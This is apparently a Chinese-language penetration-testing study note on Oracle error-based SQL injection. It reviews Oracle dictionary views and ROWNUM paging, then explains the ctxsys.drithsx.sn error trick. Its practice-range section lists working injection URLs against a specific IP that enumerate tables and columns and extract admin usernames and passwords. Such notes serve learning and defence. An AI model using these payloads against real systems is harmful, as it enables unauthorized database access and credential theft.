SQL注入–Oracle报错注入
SQL注入回顾:网络安全笔记-99-渗透-SQL注入
Oracle中用户的概念相当于库的概念。
select * from all_tables
:查询所有的表
select * from user_tables
:查询当前用户的所有表
select * from all_tab_columns
查询所有的字段
select * from user_tab_columns
:查询当前用户的所有表
select * from v$version
:查询版本
意外插入:SQL语句的执行顺序:
5.SELECT [DISTINCT] 分组字段[别名]…统计函数…;
1.FROM
2.WHERE [不可以使用统计函数]
3.GROUP BY 分组字段
4.HAVING 分组后的过滤条件 [可以使用统计函数]
6.ORDER BY 排序字段 ASC|DESC
伪列:
ROWNUM(行号):SELECT ROWNUM,ENAME,EMPNO,JOB FROM EMP;自动编号是动态生成的,不是固定的。
在Oracle中,ROWNUM 可以做以下两件事:
1.取出第一行记录:SELECT * FROM EMP WHERE ROWNUM = 1;(只有第一行能用)
2.取出前N行记录:SELECT ROWNUM,EMPNO,ENAME,JOB FROM EMP WHERE ROWNUM<=10;
取出6~10条记录:(分页操作)
SELECT * FROM(SELECT ROWNUM RN,EMPNO,ENAME,JOB
FROM EMP
WHERE ROWNUM <=10) TEMP //(currentPage*lineSize)(currentPage=2)当前显示的页数,取出五行记录相当于每页显示的条数(lineSize=5)
WHERE TEMP.RN >5; //(currentPage-1)*lineSize
不等于:
and 字段名<>字段值 (一个条件,查询时排除符合条件的数据 当字段名中字段值符合数据就排除符合这个条件的数据)
eg: and TABLE_NAME<>‘DUAL’
查询时符合table_name字段中值为DUAL的整条数据都会被排除
报错
CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))–
:查询数据库版本
为什么需要1=?
因为Oracle的语言严谨,where后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件。
select table_name from user_tables where rownum=1 查询表名
select column_name from user_tab_columns where table_name=‘ADMIN’ and rownum=1 查询字段名
select column_name from user_tab_columns where table_name=‘ADMIN’ and column_name<>‘ID’ and rownum=1 – 查第二个字段
靶场
查表名:
- http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
- http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where table_name <>‘ADMIN’ and rownum=1))
- http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum rn,table_name from user_tables where rownum<5) where rn=3))
select table_name from (select rownum rn,table_name from user_tables where rownum<3) where rn=2
查字段:
- http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum rn,column_name from user_tab_columns where table_name=‘ADMIN’ and rownum<5) where rn=1))
查数据:
http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select res from (select rownum rn,concat(uname,upass) res from admin where rownum<5) where rn=2))